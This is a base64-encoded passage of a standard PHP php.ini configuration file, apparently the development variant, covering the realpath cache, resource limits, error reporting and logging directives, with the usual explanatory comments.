lIHNob3VsZAo7IGJlIGluY3JlYXNlZCBvbiBzeXN0ZW1zIHdoZXJlIFBIUCBvcGVucyBtYW55IGZpbGVzIHRvIHJlZmxlY3QgdGhlIHF1YW50aXR5IG9mCjsgdGhlIGZpbGUgb3BlcmF0aW9ucyBwZXJmb3JtZWQuCjsgTm90ZTogaWYgb3Blbl9iYXNlZGlyIGlzIHNldCwgdGhlIGNhY2hlIGlzIGRpc2FibGVkCjsgaHR0cDovL3BocC5uZXQvcmVhbHBhdGgtY2FjaGUtc2l6ZQo7cmVhbHBhdGhfY2FjaGVfc2l6ZSA9IDQwOTZrCgo7IER1cmF0aW9uIG9mIHRpbWUsIGluIHNlY29uZHMgZm9yIHdoaWNoIHRvIGNhY2hlIHJlYWxwYXRoIGluZm9ybWF0aW9uIGZvciBhIGdpdmVuCjsgZmlsZSBvciBkaXJlY3RvcnkuIEZvciBzeXN0ZW1zIHdpdGggcmFyZWx5IGNoYW5naW5nIGZpbGVzLCBjb25zaWRlciBpbmNyZWFzaW5nIHRoaXMKOyB2YWx1ZS4KOyBodHRwOi8vcGhwLm5ldC9yZWFscGF0aC1jYWNoZS10dGwKO3JlYWxwYXRoX2NhY2hlX3R0bCA9IDEyMAoKOyBFbmFibGVzIG9yIGRpc2FibGVzIHRoZSBjaXJjdWxhciByZWZlcmVuY2UgY29sbGVjdG9yLgo7IGh0dHA6Ly9waHAubmV0L3plbmQuZW5hYmxlLWdjCnplbmQuZW5hYmxlX2djID0gT24KCjsgSWYgZW5hYmxlZCwgc2NyaXB0cyBtYXkgYmUgd3JpdHRlbiBpbiBlbmNvZGluZ3MgdGhhdCBhcmUgaW5jb21wYXRpYmxlIHdpdGgKOyB0aGUgc2Nhbm5lci4gIENQOTM2LCBCaWc1LCBDUDk0OSBhbmQgU2hpZnRfSklTIGFyZSB0aGUgZXhhbXBsZXMgb2Ygc3VjaAo7IGVuY29kaW5ncy4gIFRvIHVzZSB0aGlzIGZlYXR1cmUsIG1ic3RyaW5nIGV4dGVuc2lvbiBtdXN0IGJlIGVuYWJsZWQuCjsgRGVmYXVsdDogT2ZmCjt6ZW5kLm11bHRpYnl0ZSA9IE9mZgoKOyBBbGxvd3MgdG8gc2V0IHRoZSBkZWZhdWx0IGVuY29kaW5nIGZvciB0aGUgc2NyaXB0cy4gIFRoaXMgdmFsdWUgd2lsbCBiZSB1c2VkCjsgdW5sZXNzICZxdW90O2RlY2xhcmUoZW5jb2Rpbmc9Li4uKSZxdW90OyBkaXJlY3RpdmUgYXBwZWFycyBhdCB0aGUgdG9wIG9mIHRoZSBzY3JpcHQuCjsgT25seSBhZmZlY3RzIGlmIHplbmQubXVsdGlieXRlIGlzIHNldC4KOyBEZWZhdWx0OiAmcXVvdDsmcXVvdDsKO3plbmQuc2NyaXB0X2VuY29kaW5nID0KCjs7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgTWlzY2VsbGFuZW91cyA7Cjs7Ozs7Ozs7Ozs7Ozs7Ozs7Cgo7IERlY2lkZXMgd2hldGhlciBQSFAgbWF5IGV4cG9zZSB0aGUgZmFjdCB0aGF0IGl0IGlzIGluc3RhbGxlZCBvbiB0aGUgc2VydmVyCjsgKGUuZy4gYnkgYWRkaW5nIGl0cyBzaWduYXR1cmUgdG8gdGhlIFdlYiBzZXJ2ZXIgaGVhZGVyKS4gIEl0IGlzIG5vIHNlY3VyaXR5CjsgdGhyZWF0IGluIGFueSB3YXksIGJ1dCBpdCBtYWtlcyBpdCBwb3NzaWJsZSB0byBkZXRlcm1pbmUgd2hldGhlciB5b3UgdXNlIFBIUAo7IG9uIHlvdXIgc2VydmVyIG9yIG5vdC4KOyBodHRwOi8vcGhwLm5ldC9leHBvc2UtcGhwCmV4cG9zZV9waHAgPSBPbgoKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Owo7IFJlc291cmNlIExpbWl0cyA7Cjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKCjsgTWF4aW11bSBleGVjdXRpb24gdGltZSBvZiBlYWNoIHNjcmlwdCwgaW4gc2Vjb25kcwo7IGh0dHA6Ly9waHAubmV0L21heC1leGVjdXRpb24tdGltZQo7IE5vdGU6IFRoaXMgZGlyZWN0aXZlIGlzIGhhcmRjb2RlZCB0byAwIGZvciB0aGUgQ0xJIFNBUEkKbWF4X2V4ZWN1dGlvbl90aW1lID0gMzAKCjsgTWF4aW11bSBhbW91bnQgb2YgdGltZSBlYWNoIHNjcmlwdCBtYXkgc3BlbmQgcGFyc2luZyByZXF1ZXN0IGRhdGEuIEl0JmFwb3M7cyBhIGdvb2QKOyBpZGVhIHRvIGxpbWl0IHRoaXMgdGltZSBvbiBwcm9kdWN0aW9ucyBzZXJ2ZXJzIGluIG9yZGVyIHRvIGVsaW1pbmF0ZSB1bmV4cGVjdGVkbHkKOyBsb25nIHJ1bm5pbmcgc2NyaXB0cy4KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gLTEgZm9yIHRoZSBDTEkgU0FQSQo7IERlZmF1bHQgVmFsdWU6IC0xIChVbmxpbWl0ZWQpCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IDYwICg2MCBzZWNvbmRzKQo7IFByb2R1Y3Rpb24gVmFsdWU6IDYwICg2MCBzZWNvbmRzKQo7IGh0dHA6Ly9waHAubmV0L21heC1pbnB1dC10aW1lCm1heF9pbnB1dF90aW1lID0gNjAKCjsgTWF4aW11bSBpbnB1dCB2YXJpYWJsZSBuZXN0aW5nIGxldmVsCjsgaHR0cDovL3BocC5uZXQvbWF4LWlucHV0LW5lc3RpbmctbGV2ZWwKO21heF9pbnB1dF9uZXN0aW5nX2xldmVsID0gNjQKCjsgSG93IG1hbnkgR0VUL1BPU1QvQ09PS0lFIGlucHV0IHZhcmlhYmxlcyBtYXkgYmUgYWNjZXB0ZWQKO21heF9pbnB1dF92YXJzID0gMTAwMAoKOyBNYXhpbXVtIGFtb3VudCBvZiBtZW1vcnkgYSBzY3JpcHQgbWF5IGNvbnN1bWUgKDEyOE1CKQo7IGh0dHA6Ly9waHAubmV0L21lbW9yeS1saW1pdAptZW1vcnlfbGltaXQgPSAxMjhNCgo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBFcnJvciBoYW5kbGluZyBhbmQgbG9nZ2luZyA7Cjs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OwoKOyBUaGlzIGRpcmVjdGl2ZSBpbmZvcm1zIFBIUCBvZiB3aGljaCBlcnJvcnMsIHdhcm5pbmdzIGFuZCBub3RpY2VzIHlvdSB3b3VsZCBsaWtlCjsgaXQgdG8gdGFrZSBhY3Rpb24gZm9yLiBUaGUgcmVjb21tZW5kZWQgd2F5IG9mIHNldHRpbmcgdmFsdWVzIGZvciB0aGlzCjsgZGlyZWN0aXZlIGlzIHRocm91Z2ggdGhlIHVzZSBvZiB0aGUgZXJyb3IgbGV2ZWwgY29uc3RhbnRzIGFuZCBiaXR3aXNlCjsgb3BlcmF0b3JzLiBUaGUgZXJyb3IgbGV2ZWwgY29uc3RhbnRzIGFyZSBiZWxvdyBoZXJlIGZvciBjb252ZW5pZW5jZSBhcyB3ZWxsIGFzCjsgc29tZSBjb21tb24gc2V0dGluZ3MgYW5kIHRoZWlyIG1lYW5pbmdzLgo7IEJ5IGRlZmF1bHQsIFBIUCBpcyBzZXQgdG8gdGFrZSBhY3Rpb24gb24gYWxsIGVycm9ycywgbm90aWNlcyBhbmQgd2FybmluZ3MgRVhDRVBUCjsgdGhvc2UgcmVsYXRlZCB0byBFX05PVElDRSBhbmQgRV9TVFJJQ1QsIHdoaWNoIHRvZ2V0aGVyIGNvdmVyIGJlc3QgcHJhY3RpY2VzIGFuZAo7IHJlY29tbWVuZGVkIGNvZGluZyBzdGFuZGFyZHMgaW4gUEhQLiBGb3IgcGVyZm9ybWFuY2UgcmVhc29ucywgdGhpcyBpcyB0aGUKOyByZWNvbW1lbmQgZXJyb3IgcmVwb3J0aW5nIHNldHRpbmcuIFlvdXIgcHJvZHVjdGlvbiBzZXJ2ZXIgc2hvdWxkbiZhcG9zO3QgYmUgd2FzdGluZwo7IHJlc291cmNlcyBjb21wbGFpbmluZyBhYm91dCBiZXN0IHByYWN0aWNlcyBhbmQgY29kaW5nIHN0YW5kYXJkcy4gVGhhdCZhcG9zO3Mgd2hhdAo7IGRldmVsb3BtZW50IHNlcnZlcnMgYW5kIGRldmVsb3BtZW50IHNldHRpbmdzIGFyZSBmb3IuCjsgTm90ZTogVGhlIHBocC5pbmktZGV2ZWxvcG1lbnQgZmlsZSBoYXMgdGhpcyBzZXR0aW5nIGFzIEVfQUxMLiBUaGlzCjsgbWVhbnMgaXQgcHJldHR5IG11Y2ggcmVwb3J0cyBldmVyeXRoaW5nIHdoaWNoIGlzIGV4YWN0bHkgd2hhdCB5b3Ugd2FudCBkdXJpbmcKOyBkZXZlbG9wbWVudCBhbmQgZWFybHkgdGVzdGluZy4KOwo7IEVycm9yIExldmVsIENvbnN0YW50czoKOyBFX0FMTCAgICAgICAgICAgICAtIEFsbCBlcnJvcnMgYW5kIHdhcm5pbmdzIChpbmNsdWRlcyBFX1NUUklDVCBhcyBvZiBQSFAgNS40LjApCjsgRV9FUlJPUiAgICAgICAgICAgLSBmYXRhbCBydW4tdGltZSBlcnJvcnMKOyBFX1JFQ09WRVJBQkxFX0VSUk9SICAtIGFsbW9zdCBmYXRhbCBydW4tdGltZSBlcnJvcnMKOyBFX1dBUk5JTkcgICAgICAgICAtIHJ1bi10aW1lIHdhcm5pbmdzIChub24tZmF0YWwgZXJyb3JzKQo7IEVfUEFSU0UgICAgICAgICAgIC0gY29tcGlsZS10aW1lIHBhcnNlIGVycm9ycwo7IEVfTk9USUNFICAgICAgICAgIC0gcnVuLXRpbWUgbm90aWNlcyAodGhlc2UgYXJlIHdhcm5pbmdzIHdoaWNoIG9mdGVuIHJlc3VsdAo7ICAgICAgICAgICAgICAgICAgICAgZnJvbSBhIGJ1ZyBpbiB5b3VyIGNvZGUsIGJ1dCBpdCZhcG9zO3MgcG9zc2libGUgdGhhdCBpdCB3YXMKOyAgICAgICAgICAgICAgICAgICAgIGludGVudGlvbmFsIChlLmcuLCB1c2luZyBhbiB1bmluaXRpYWxpemVkIHZhcmlhYmxlIGFuZAo7ICAgICAgICAgICAgICAgICAgICAgcmVseWluZyBvbiB0aGUgZmFjdCBpdCBpcyBhdXRvbWF0aWNhbGx5IGluaXRpYWxpemVkIHRvIGFuCjsgICAgICAgICAgICAgICAgICAgICBlbXB0eSBzdHJpbmcpCjsgRV9TVFJJQ1QgICAgICAgICAgLSBydW4tdGltZSBub3RpY2VzLCBlbmFibGUgdG8gaGF2ZSBQSFAgc3VnZ2VzdCBjaGFuZ2VzCjsgICAgICAgICAgICAgICAgICAgICB0byB5b3VyIGNvZGUgd2hpY2ggd2lsbCBlbnN1cmUgdGhlIGJlc3QgaW50ZXJvcGVyYWJpbGl0eQo7ICAgICAgICAgICAgICAgICAgICAgYW5kIGZvcndhcmQgY29tcGF0aWJpbGl0eSBvZiB5b3VyIGNvZGUKOyBFX0NPUkVfRVJST1IgICAgICAtIGZhdGFsIGVycm9ycyB0aGF0IG9jY3VyIGR1cmluZyBQSFAmYXBvcztzIGluaXRpYWwgc3RhcnR1cAo7IEVfQ09SRV9XQVJOSU5HICAgIC0gd2FybmluZ3MgKG5vbi1mYXRhbCBlcnJvcnMpIHRoYXQgb2NjdXIgZHVyaW5nIFBIUCZhcG9zO3MKOyAgICAgICAgICAgICAgICAgICAgIGluaXRpYWwgc3RhcnR1cAo7IEVfQ09NUElMRV9FUlJPUiAgIC0gZmF0YWwgY29tcGlsZS10aW1lIGVycm9ycwo7IEVfQ09NUElMRV9XQVJOSU5HIC0gY29tcGlsZS10aW1lIHdhcm5pbmdzIChub24tZmF0YWwgZXJyb3JzKQo7IEVfVVNFUl9FUlJPUiAgICAgIC0gdXNlci1nZW5lcmF0ZWQgZXJyb3IgbWVzc2FnZQo7IEVfVVNFUl9XQVJOSU5HICAgIC0gdXNlci1nZW5lcmF0ZWQgd2FybmluZyBtZXNzYWdlCjsgRV9VU0VSX05PVElDRSAgICAgLSB1c2VyLWdlbmVyYXRlZCBub3RpY2UgbWVzc2FnZQo7IEVfREVQUkVDQVRFRCAgICAgIC0gd2FybiBhYm91dCBjb2RlIHRoYXQgd2lsbCBub3Qgd29yayBpbiBmdXR1cmUgdmVyc2lvbnMKOyAgICAgICAgICAgICAgICAgICAgIG9mIFBIUAo7IEVfVVNFUl9ERVBSRUNBVEVEIC0gdXNlci1nZW5lcmF0ZWQgZGVwcmVjYXRpb24gd2FybmluZ3MKOwo7IENvbW1vbiBWYWx1ZXM6CjsgICBFX0FMTCAoU2hvdyBhbGwgZXJyb3JzLCB3YXJuaW5ncyBhbmQgbm90aWNlcyBpbmNsdWRpbmcgY29kaW5nIHN0YW5kYXJkcy4pCjsgICBFX0FMTCAmYW1wOyB+RV9OT1RJQ0UgIChTaG93IGFsbCBlcnJvcnMsIGV4Y2VwdCBmb3Igbm90aWNlcykKOyAgIEVfQUxMICZhbXA7IH5FX05PVElDRSAmYW1wOyB+RV9TVFJJQ1QgIChTaG93IGFsbCBlcnJvcnMsIGV4Y2VwdCBmb3Igbm90aWNlcyBhbmQgY29kaW5nIHN0YW5kYXJkcyB3YXJuaW5ncy4pCjsgICBFX0NPTVBJTEVfRVJST1J8RV9SRUNPVkVSQUJMRV9FUlJPUnxFX0VSUk9SfEVfQ09SRV9FUlJPUiAgKFNob3cgb25seSBlcnJvcnMpCjsgRGVmYXVsdCBWYWx1ZTogRV9BTEwgJmFtcDsgfkVfTk9USUNFICZhbXA7IH5FX1NUUklDVCAmYW1wOyB+RV9ERVBSRUNBVEVECjsgRGV2ZWxvcG1lbnQgVmFsdWU6IEVfQUxMCjsgUHJvZHVjdGlvbiBWYWx1ZTogRV9BTEwgJmFtcDsgfkVfREVQUkVDQVRFRCAmYW1wOyB+RV9TVFJJQ1QKOyBodHRwOi8vcGhwLm5ldC9lcnJvci1yZXBvcnRpbmcKZXJyb3JfcmVwb3J0aW5nID0gRV9BTEwKCjsgVGhpcyBkaXJlY3RpdmUgY29udHJvbHMgd2hldGhlciBvciBub3QgYW5kIHdoZXJlIFBIUCB3aWxsIG91dHB1dCBlcnJvcnMsCjsgbm90aWNlcyBhbmQgd2FybmluZ3MgdG9vLiBFcnJvciBvdXRwdXQgaXMgdmVyeSB1c2VmdWwgZHVyaW5nIGRldmVsb3BtZW50LCBidXQKOyBpdCBjb3VsZCBiZSB2ZXJ5IGRhbmdlcm91cyBpbiBwcm9kdWN0aW9uIGVudmlyb25tZW50cy4gRGVwZW5kaW5nIG9uIHRoZSBjb2RlCjsgd2hpY2ggaXMgdHJpZ2dlcmluZyB0aGUgZXJyb3IsIHNlbnNpdGl2ZSBpbmZvcm1hdGlvbiBjb3VsZCBwb3RlbnRpYWxseSBsZWFrCjsgb3V0IG9mIHlvdXIgYXBwbGljYXRpb24gc3VjaCBhcyBkYXRhYmFzZSB1c2VybmFtZXMgYW5kIHBhc3N3b3JkcyBvciB3b3JzZS4KOyBGb3IgcHJvZHVjdGlvbiBlbnZpcm9ubWVudHMsIHdlIHJlY29tbWVuZCBsb2dnaW5nIGVycm9ycyByYXRoZXIgdGhhbgo7IHNlbmRpbmcgdGhlbSB0byBTVERPVVQuCjsgUG9zc2libGUgVmFsdWVzOgo7ICAgT2ZmID0gRG8gbm90IGRpc3BsYXkgYW55IGVycm9ycwo7ICAgc3RkZXJyID0gRGlzcGxheSBlcnJvcnMgdG8gU1RERVJSIChhZmZlY3RzIG9ubHkgQ0dJL0NMSSBiaW5hcmllcyEpCjsgICBPbiBvciBzdGRvdXQgPSBEaXNwbGF5IGVycm9ycyB0byBTVERPVVQKOyBEZWZhdWx0IFZhbHVlOiBPbgo7IERldmVsb3BtZW50IFZhbHVlOiBPbgo7IFByb2R1Y3Rpb24gVmFsdWU6IE9mZgo7IGh0dHA6Ly9waHAubmV0L2Rpc3BsYXktZXJyb3JzCmRpc3BsYXlfZXJyb3JzID0gT24KCjsgVGhlIGRpc3BsYXkgb2YgZXJyb3JzIHdoaWNoIG9jY3VyIGR1cmluZyBQSFAmYXBvcztzIHN0YXJ0dXAgc2VxdWVuY2UgYXJlIGhhbmRsZWQKOyBzZXBhcmF0ZWx5IGZyb20gZGlzcGxheV9lcnJvcnMuIFBIUCZhcG9zO3MgZGVmYXVsdCBiZWhhdmlvciBpcyB0byBzdXBwcmVzcyB0aG9zZQo7IGVycm9ycyBmcm9tIGNsaWVudHMuIFR1cm5pbmcgdGhlIGRpc3BsYXkgb2Ygc3RhcnR1cCBlcnJvcnMgb24gY2FuIGJlIHVzZWZ1bCBpbgo7IGRlYnVnZ2luZyBjb25maWd1cmF0aW9uIHByb2JsZW1zLiBXZSBzdHJvbmdseSByZWNvbW1lbmQgeW91Cjsgc2V0IHRoaXMgdG8gJmFwb3M7b2ZmJmFwb3M7IGZvciBwcm9kdWN0aW9uIHNlcnZlcnMuCjsgRGVmYXVsdCBWYWx1ZTogT2ZmCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9uCjsgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmCjsgaHR0cDovL3BocC5uZXQvZGlzcGxheS1zdGFydHVwLWVycm9ycwpkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzID0gT24KCjsgQmVzaWRlcyBkaXNwbGF5aW5nIGVycm9ycywgUEhQIGNhbiBhbHNvIGxvZyBlcnJvcnMgdG8gbG9jYXRpb25zIHN1Y2ggYXMgYQo7IHNlcnZlci1zcGVjaWZpYyBsb2csIFNUREVSUiwgb3IgYSBsb2NhdGlvbiBzcGVjaWZpZWQgYnkgdGhlIGVycm9yX2xvZwo7IGRpcmVjdGl2ZSBmb3VuZCBiZWxvdy4gV2hpbGUgZXJyb3JzIHNob3VsZCBub3QgYmUgZGlzcGxheWVkIG9uIHByb2R1Y3Rpb25zCjsgc2VydmVycyB0aGV5IHNob3VsZCBzdGlsbCBiZSBtb25pdG9yZWQgYW5kIGxvZ2dpbmcgaXMgYSBncmVhdCB3YXkgdG8gZG8gdGhhdC4KOyBEZWZhdWx0IFZhbHVlOiBPZmYKOyBEZXZlbG9wbWVudCBWYWx1ZTogT24KOyBQcm9kdWN0aW9uIFZhbHVlOiBPbgo7IGh0dHA6Ly9waHAubmV0L2xvZy1lcnJvcnMKbG9nX2Vycm9ycyA9IE9uCgo7IFNldCBtYXhpbXVtIGxlbmd0aCBvZiBsb2dfZXJyb3JzLiBJbiBlcnJvcl9sb2cgaW5mb3JtYXRpb24gYWJvdXQgdGhlIHNvdXJjZSBpcwo7IGFkZGVkLiBUaGUgZGVmYXVsdCBpcyAxMDI0IGFuZCAwIGFsbG93cyB0byBub3QgYXBwbHkgYW55IG1heGltdW0gbGVuZ3RoIGF0IGFsbC4KOyBodHRwOi8vcGhwLm5ldC9sb2ctZXJyb3JzLW1heC1sZW4KbG9nX2Vycm9yc19tYXhfbGVuID0gMTAyNAoKOyBEbyBub3QgbG9nIHJlcGVhdGVkIG1lc3NhZ2VzLiBSZXBlYXRlZCBlcnJvcnMgbXVzdCBvY2N1ciBpbiBzYW1lIGZpbGUgb24gc2FtZQo7IGxpbmUgdW5sZXNzIGlnbm9yZV9yZXBlYXRlZF9zb3VyY2UgaXMgc2V0IHRydWUuCjsgaHR0cDovL3BocC5uZXQvaWdub3JlLXJlcGVhdGVkLWVycm9ycwppZ25vcmVfcmVwZWF0ZWRfZXJyb3JzID0gT2ZmCgo7IElnbm9yZSBzb3VyY2Ugb2YgbWVzc2FnZSB3aGVuIGlnbm9yaW5nIHJlcGVhdGVkIG1lc3NhZ2VzLiBXaGVuIHRoaXMgc2V0dGluZwo7IGlzIE9uIHlvdSB3aWxsIG5vdCBsb2cgZXJyb3JzIHdpdGggcmVwZWF0ZWQgbWVzc2FnZXMgZnJvbSBkaWZmZXJlbnQgZmlsZXMgb3IKOyBzb3VyY2UgbGluZXMuCjsgaHR0cDovL3BocC5uZXQvaWdub3JlLXJlcGVhdGVkLXNvdXJjZQppZ25vcmVfcmVwZWF0ZWRfc291cmNlID0gT2ZmCgo7IElmIHRoaXMgcGFyYW1ldGVyIGlzIHNldCB0byBPZmYsIHRoZW4gbWVtb3J5IGxlYWtzIHdpbGwgbm90IGJlIHNob3duIChvbgo7IHN0ZG91dCBvciBpbiB0aGUgbG9nKS4gVGhpcyBoYXMgb25seSBlZmZlY3QgaW4gYSBkZWJ1ZyBjb21waWxlLCBhbmQgaWYKOyBlcnJvciByZXBvcnRpbmcgaW5jbHVkZXMgRV9XQVJOSU5HIGluIHRoZSBhbGxvd2VkIGxpc3QKOyBodHRwOi8vcGhwLm5ldC9yZXBvcnQtbWVtbGVha3MKcmVwb3J0X21lbWxlYWtzID0gT24KCjsgVGhpcyBzZXR0aW5nIGlzIG9uIGJ5IGRlZmF1bHQuCjtyZXBvcnRfemVuZF9kZWJ1ZyA9IDAKCjsgU3RvcmUgdGhlIGxhc3QgZXJyb3Ivd2FybmluZyBtZXNzYWdlIGluICRwaHBfZXJyb3Jtc2cgKGJvb2xlYW4pLgo7IFRoaXMgZGlyZWN0aXZlIGlzIERFUFJFQ0FURUQuCjsgRGVmYXVsdCBWYWx1ZTogT2ZmCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9mZgo7IFByb2R1Y3Rpb24gVmFsdWU6IE9mZgo7IGh0dHA6Ly9waHAubmV0L3RyYWNrLWVycm9ycwo7dHJhY2tfZXJyb3JzID0gT2ZmCgo7IFR1cm4gb2ZmIG5vcm1hbCBlcnJvciByZXBvcnRpbmcgYW5kIGVtaXQgWE1MLVJQQyBlcnJvciBYTUwKOyBodHRwOi8vcGhwLm5ldC94bWxycGMtZXJyb3JzCjt4bWxycGNfZXJyb3JzID0gMAoKOyBBbiBYTUwtUlBDIGZhdWx0Q29kZQo7eG1scnBjX2Vycm9yX251bWJlciA9IDAKCjsgV2hlbiBQSFAgZGlzcGxheXMgb3IgbG9ncyBhbiBlcnJvciwgaXQgaGFzIHRoZSBjYXBhYmlsaXR5IG9mIGZvcm1hdHRpbmcgdGhlCjsgZXJyb3IgbWVzc2FnZSBhcyBIVE1MIGZvciBlYXNpZXIgcmVhZGluZy4gVGhpcyBkaXJlY3RpdmUgY29udHJvbHMgd2hldGhlcgo7IHRoZSBlcnJvciBtZXNzYWdlIGlzIGZvcm1hdHRlZCBhcyBIVE1MIG9yIG5vdC4KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gT2ZmIGZvciB0aGUgQ0xJIFNBUEkKOyBEZWZhdWx0IFZhbHVlOiBPbgo7IERldmVsb3BtZW50IFZhbHVlOiBPbgo7IFByb2R1Y3Rpb24gdmFsdWU6IE9uCjsgaHR0cDovL3BocC5uZXQvaHRtbC1lcnJvcnMKaHRtbF9lcnJvcnMgPSBPbgoKOyBJZiBodG1sX2Vycm9ycyBpcyBzZXQgdG8gT24gKmFuZCogZG9jcmVmX3Jvb3QgaXMgbm90IGVtcHR5LCB0aGVuIFBIUAo7IHByb2R1Y2VzIGNsaWNrYWJsZSBlcnJvciBtZXNzYWdlcyB0aGF0IGRpcmVjdCB0byBhIHBhZ2UgZGVzY3JpYmluZyB0aGUgZXJyb3IKOyBvciBmdW5jdGlvbiBjYXVzaW5nIHRoZSBlcnJvciBpbiBkZXRhaWwuCjsgWW91IGNhbiBkb3dubG9hZCBhIGNvcHkgb2YgdGhlIFBIUCBtYW51YWwgZnJvbSBodHRwOi8vcGhwLm5ldC9kb2NzCjsgYW5kIGNoYW5nZSBkb2NyZWZfcm9vdCB0byB0aGUgYmFzZSBVUkwgb2YgeW91ciBsb2NhbCBjb3B5IGluY2x1ZGluZyB0aGUKOyBsZWFkaW5nICZhcG9zOy8mYXBvczsuIFlvdSBtdXN0IGFsc28gc3BlY2lmeSB0aGUgZmlsZSBleHRlbnNpb24gYmVpbmcgdXNlZCBpbmNsdWRpbmcKOyB0aGUgZG90LiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUgdGhlc2Ugc2V0dGluZ3MgZW1wdHksIGluIHdoaWNoCjsgY2FzZSBubyBsaW5rcyB0byBkb2N1bWVudGF0aW9uIGFyZSBnZW5lcmF0ZWQuCjsgTm90ZTogTmV2ZXIgdXNlIHRoaXMgZmVhdHVyZSBmb3IgcHJvZHVjdGlvbiBib3hlcy4KOyBodHRwOi8vcGhwLm5ldC9kb2NyZWYtcm9vdAo7IEV4YW1wbGVzCjtkb2NyZWZfcm9vdCA9ICZxdW90Oy9waHBtYW51YWwvJnF1b3Q7Cgo7IGh0dHA6Ly9waHAubmV0L2RvY3JlZi1leHQKO2RvY3JlZl9leHQgPSAuaHRtbAoKOyBTdHJpbmcgdG8gb3V0cHV0IGJlZm9yZSBhbiBlcnJvciBtZXNzYWdlLiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUKOyB0aGlzIHNldHRpbmcgYmxhbmsuCjsgaHR0cDovL3BocC5uZXQvZXJyb3ItcHJlcGVuZC1zdHJpbmcKOyBFeGFtcGxlOgo7ZXJyb3JfcHJlcGVuZF9zdHJpbmcgPSAmcXVvdDsmbHQ7c3BhbiBzdHlsZT0mYXBvcztjb2xvcjogI2ZmMDAwMCZhcG9zOyZndDsmcXVvdDsKCjsgU3RyaW5nIHRvIG91dHB1dCBhZnRlciBhbiBlcnJvciBtZXNzYWdlLiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUKOyB0aGlzIHNldHRpbmcgYmxhbmsuCjsgaHR0cDovL3BocC5uZXQvZXJyb3ItYXBwZW5kLXN0cmluZwo7IEV4YW1wbGU6CjtlcnJvcl9hcHBlbmRfc3RyaW5nID0gJnF1b3Q7Jmx0Oy9zcGFuJmd0OyZxdW90OwoKOyBMb2cgZXJyb3JzIHRvIHNwZWNpZmllZCBmaWxlLiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUgdGhpcyB2YWx1ZQo7IGVtcHR5Lgo7IGh0dHA6Ly9waHAubmV0L2Vycm9yLWxvZwo7IEV4YW1wbGU6CjtlcnJvcl9sb2cgPSBwaHBfZXJyb3JzLmxvZwo7IExvZyBlcnJvcnMgdG8gc3lzbG9nIChFdmVudCBMb2cgb24gV2luZG93cykuCjtlcnJvcl9sb2cgPSBzeXNsb2cKCjsgVGhlIHN5c2xvZyBpZGVudCBpcyBhIHN0cmluZyB3aGljaCBpcyBwcmVwZW5kZWQgdG8gZXZlcnkgbWVzc2FnZSBsb2dnZWQKOyB0byBzeXNsb2cuIE9ubHkgdXNlZCB3aGVuIGVycm9yX2xvZyBpcyBzZXQgdG8gc3lzbG9nLgo7c3lzbG9nLmlkZW50ID0gcGhwCgo7IFRoZSBzeXNsb2cgZmFjaWxpdHkgaXMgdXNlZCB0byBzcGVjaWZ5IHdoYXQgdHlwZSBvZiBwcm9ncmFtIGlzIGxvZ2dpbmcKOyB0aGUgbWVzc2FnZS4gT25seSB1c2VkIHdoZW4gZXJyb3JfbG9nIGlzIHNldCB0byBzeXNsb2cuCjtzeXNsb2cuZmFjaWxpdHkgPSB1c2VyCgo7IFNldCB0aGlzIHRvIGRpc2FibGUgZmlsdGVyaW5nIGNvbnRyb2wgY2hhcmFjdGVycyAodGhlIGRlZmF1bHQpLgo7IFNvbWUgbG9nZ2VycyBvbmx5IGFjY2VwdCBOVlQtQVNDSUksIG90aGVycyBhY2NlcHQgYW55dGhpbmcgdGhhdCZhcG9zO3Mgbm90CjsgY29udHJvbCBjaGFyYWN0ZXJzLiBJZiB5b3VyIGxvZ2dlciBhY2NlcHRzIGV2ZXJ5dGhpbmcsIHRoZW4gbm8gZmlsdGVyaW5nCjsgaXMgbmVlZGVkIGF0IGFsbC4KOyBBbGxvd2VkIHZhbHVlcyBhcmU6CjsgICBhc2NpaSAoYWxsIHByaW50YWJsZSBBU0NJSSBjaGFyYWN0ZXJzIGFuZCBOTCkKOyAgIG5vLWN0cmwgKGFsbCBjaGFyYWN0ZXJzIGV4Y2VwdCBjb250cm9sIGNoYXJhY3RlcnMpCjsgICBhbGwgKGFsbCBjaGFyYWN0ZXJzKQo7ICAgcmF3IChsaWtlICZxdW90O2FsbCZxdW90OywgYnV0IG1lc3NhZ2VzIGFyZSBub3Qgc3BsaXQgYXQgbmV3bGluZXMpCjsgaHR0cDovL3BocC5uZXQvc3lzbG9nLmZpbHRlcgo7c3lzbG9nLmZpbHRlciA9IGFzY2lpCgo7d2luZG93cy5zaG93X2NydF93YXJuaW5nCjsgRGVmYXVsdCB2YWx1ZTogMAo7IERldmVsb3BtZW50IHZhbHVlOiAwCjsgUHJvZHVjdGlvbiB2YWx1ZTogMAoKOzs7Ozs7Ozs7Ozs7Ozs7OzsKOyBEYXRhIEhhbmRsaW5nIDsKOzs7Ozs7Ozs7Ozs7Ozs7OzsKCjsgVGhlIHNlcGFyYXRvciB1c2VkIGluIFBIUCBnZW5lcmF0ZWQgVVJMcyB0byBzZXBhcmF0ZSBhcmd1bWVudHMuCjsgUEhQJmFwb3M7cyBkZWZhdWx0IHNldHRpbmcgaXMgJnF1b3Q7JmFtcDsmcXVvdDsuCjsgaHR0cDovL3BocC5uZXQvYXJnLXNlcGFyYXRvci5vdXRwdXQKOyBFeGFtcGxlOgo7YXJnX3NlcGFyYXRvci5vdXRwdXQgPSAmcXVvdDsmYW1wO2FtcDsmcXVvdDsKCj